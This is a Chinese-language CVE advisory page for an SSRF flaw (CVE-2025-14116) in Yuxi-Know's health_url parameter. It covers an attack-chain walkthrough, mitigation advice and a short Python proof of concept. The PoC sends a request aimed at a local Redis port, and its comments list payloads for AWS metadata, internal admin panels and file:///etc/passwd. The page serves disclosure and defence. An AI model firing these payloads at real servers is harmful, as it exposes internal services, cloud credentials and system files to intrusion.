IPBUF安全漏洞报告
English
CVE-2025-14116 CVSS 4.7 中危

CVE-2025-14116 Yuxi-Know 服务器端请求伪造漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-14116
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
xerrors/Yuxi-Know

相关标签

CVE-2025-14116SSRF服务器端请求伪造Yuxi-Knowxerrors安全漏洞中危漏洞RCE相关

漏洞概述

CVE-2025-14116是xerrors/Yuxi-Know项目中存在的一个服务器端请求伪造(Server-Side Request Forgery,SSRF)漏洞。该漏洞影响Yuxi-Know应用程序的0.4.0及之前版本,问题出在src/models/embed.py文件中的OtherEmbedding.aencode函数。当攻击者操控health_url参数时,可以诱导服务器向任意内部或外部资源发起请求,从而实现服务器端请求伪造攻击。攻击者可以利用此漏洞访问内网服务、读取本地文件、扫描内部网络架构或对内部系统进行进一步攻击。由于该漏洞的利用代码已公开,且CVSS评分为4.7(中危),对系统安全构成一定威胁。漏洞发现者已向厂商报告,厂商确认了漏洞存在并提供了修复补丁(commit: 0ff771dc1933d5a6b78f804115e78a7d8625c3f3),同时采取了禁用URL解析、禁用URL上传模式、移除URL到markdown转换等安全措施。

技术细节

该漏洞位于Yuxi-Know项目的src/models/embed.py文件中的OtherEmbedding.aencode方法。漏洞产生的根本原因是该函数直接使用用户可控的health_url参数发起HTTP请求,而没有对URL进行充分的验证和过滤。攻击者可以通过构造恶意的health_url参数值(如内网IP地址、localhost、file://协议等),诱导服务器向指定目标发起请求。具体来说,当应用程序处理包含health_url参数的请求时,如果该参数未经过严格的白名单验证,攻击者可以指定任意URL(包括内网服务地址),服务器将作为代理执行这些请求。这种攻击方式允许攻击者绕过防火墙限制,访问通常无法从外部直接访问的内部系统,如数据库、缓存服务、内部API等。攻击者还可以利用file://、dict://等协议读取本地文件或探测内网服务。CVSS向量显示该漏洞需要高权限用户(PR:H)才能发起攻击,但攻击复杂度低(AC:L),无需用户交互(UI:N),远程即可利用(AV:N)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的Yuxi-Know版本,确认版本<=0.4.0
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意health_url参数的HTTP请求,将URL指向内部服务或敏感资源
STEP 3
步骤3: 发送攻击请求
通过API接口(如/embed)发送构造的payload,触发OtherEmbedding.aencode函数
STEP 4
步骤4: 服务器发起内部请求
服务器使用攻击者指定的URL向内部服务或外部恶意服务器发起请求
STEP 5
步骤5: 获取敏感信息
攻击者通过响应内容获取内网服务信息、AWS元数据、本地文件内容等敏感数据
STEP 6
步骤6: 横向移动或进一步利用
利用获取的信息进行内网渗透、数据窃取或对内部系统发动进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14116 PoC - SSRF in Yuxi-Know health_url parameter # Target: xerrors/Yuxi-Know <= 0.4.0 TARGET_URL = "http://target.com/api/embed" # Replace with actual target # Payload to exploit SSRF via health_url parameter # This attempts to access internal service (localhost:6379 - Redis) payload = { "health_url": "http://127.0.0.1:6379/", "url": "https://example.com", "text": "test" } try: response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Additional payloads to test: # http://169.254.169.254/ - AWS metadata # http://localhost:8080/admin - Internal admin panel # file:///etc/passwd - Local file access (if supported)

影响范围

Yuxi-Know <= 0.4.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)禁用或限制嵌入功能的使用;2)在Web应用层添加输入验证,过滤掉内网IP段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8);3)限制服务器的网络出站规则,仅允许访问必要的外部资源;4)启用应用日志监控,及时发现异常的请求模式;5)考虑临时关闭相关API端点直至完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表